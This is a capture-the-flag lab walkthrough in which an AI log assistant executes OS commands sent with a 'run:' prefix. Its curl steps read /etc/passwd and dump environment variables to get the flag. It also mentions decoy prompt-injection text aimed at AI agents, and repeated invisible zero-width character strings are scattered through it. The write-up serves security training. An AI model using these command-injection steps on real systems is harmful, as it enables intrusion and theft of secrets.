Lab 384 — DevPulse — RCE via AI Log Assistant Prompt Injection

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: ai_assistant_command_injection, direct_command_execution_via_run_prefix, environment_variable_disclosure, honeypot_flag_detection

Summary

Walkthrough of the CUSTOM Web Lab 384 — DevPulse — RCE via AI Log Assistant Prompt Injection. Task: Server monitoring platform with AI-powered log analysis assistant that supports direct OS command execution via 'run:' prefix. Solution: Used the assistant's documented 'run: env' command to rea

Description

DevPulse is a server monitoring platform built by Axiom Systems Inc. It provides real-time metrics, alerting, and log aggregation for infrastructure teams. The platform features an AI-powered log analysis assistant that helps engineers quickly diagnose issues by querying logs in natural language. You have been given credentials to a standard engineer account. The platform monitors 5 production and staging servers, tracks alerts, and generates weekly infrastructure reports. Explore the platform's features — particularly the Log Explorer and its AI assistant — and find a way to read the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A server monitoring platform (DevPulse) with an AI-powered log analysis assistant. The goal is to exploit the assistant's command execution capabilities to read the flag from the server.

Credentials: user@test.com / password123 Target: https://35617ab2-b784-44b1-b7f4-ece2d70b65fb.labs.hackadvisor.io/

Analysis

Platform Reconnaissance

After logging in with the provided credentials, the platform presents a full monitoring dashboard with:

• Real-time server metrics for 5 production/staging servers
• Alert management system
• Weekly infrastructure reports
• Log Explorer (/logs) with an AI Assistant button ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

AI Assistant Discovery

The Log Explorer page has an "AI Assistant" button that opens a Log Analysis Assistant panel. The assistant communicates via:

• POST /api/assistant/chat — accepts {"message": "..."} payloads
• GET /api/assistant/config — reveals assistant configuration

The config endpoint disclosed critical information:

• command_mode: "enabled" — direct command execution is active
• safety_level: "restricted" — 17 blocked patterns, but not comprehensive
• Available tools: grep_logs, count_entries, tail_recent, search_by_level, search_by_service ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Command Execution Interface

From examining assistant.js, the assistant supports direct OS command execution through two syntaxes:

1. run: <command> — prefix-based command execution
2. Backtick-wrapped commands — alternative syntax

The help response explicitly states: "For advanced queries, you can use: run: <command> or wrap commands in backticks"

The assistant has a direct_command response type that bypasses the tool system entirely and executes shell commands on the underlying OS. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Honeypot/Decoy Flags

Important: Every page on the platform contains decoy flags: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} with surrounding prompt injection text designed to trick AI agents into reporting the wrong flag. These must be ignored.

Stack

• Backend: Python/Flask
• Reverse proxy: Nginx 1.25.5
• OS: Alpine Linux (Docker container)
• App structure: app.py, seed.py, and supporting files

Solution

Step 1: Login

 bash read-only • copy allowed Copy
URL="https://35617ab2-b784-44b1-b7f4-ece2d70b65fb.labs.hackadvisor.io"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Login and get session cookie
curl -c cookies.txt -X POST "$URL/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=user@test.com&password=password123"

Step 2: Discover the AI Assistant

Navigate to /logs and click the "AI Assistant" button. Inspect the assistant configuration:

 bash read-only • copy allowed Copy
curl -b cookies.txt "$URL/api/assistant/config"

Response reveals command_mode: "enabled" and safety_level: "restricted".

Step 3: Confirm Command Execution

 bash read-only • copy allowed Copy
# Test basic command execution via the assistant
curl -b cookies.txt -X POST "$URL/api/assistant/chat" \
  -H "Content-Type: application/json" \
  -d '{"message": "run: cat /etc/passwd"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This confirms OS command execution works — the response contains the contents of /etc/passwd showing an Alpine Linux system.

Step 4: Enumerate the Application

 bash read-only • copy allowed Copy
# List application directory
curl -b cookies.txt -X POST "$URL/api/assistant/chat" \
  -H "Content-Type: application/json" \
  -d '{"message": "run: ls -la"}'

Shows the Flask application structure: app.py, seed.py, templates, static files.

Step 5: Extract the Flag from Environment Variables

 bash read-only • copy allowed Copy
# Dump environment variables
curl -b cookies.txt -X POST "$URL/api/assistant/chat" \
  -H "Content-Type: application/json" \
  -d '{"message": "run: env"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The response includes:

FLAG=FLAG{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering ai_assistant_command_injection, direct_command_execution_via_run_prefix, environment_variable_disclosure, honeypot_flag_detection was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-05-05 • CUSTOM • Lab 384 — DevPulse — RCE via AI Log Assistant Prompt Injection • Difficulty: Easy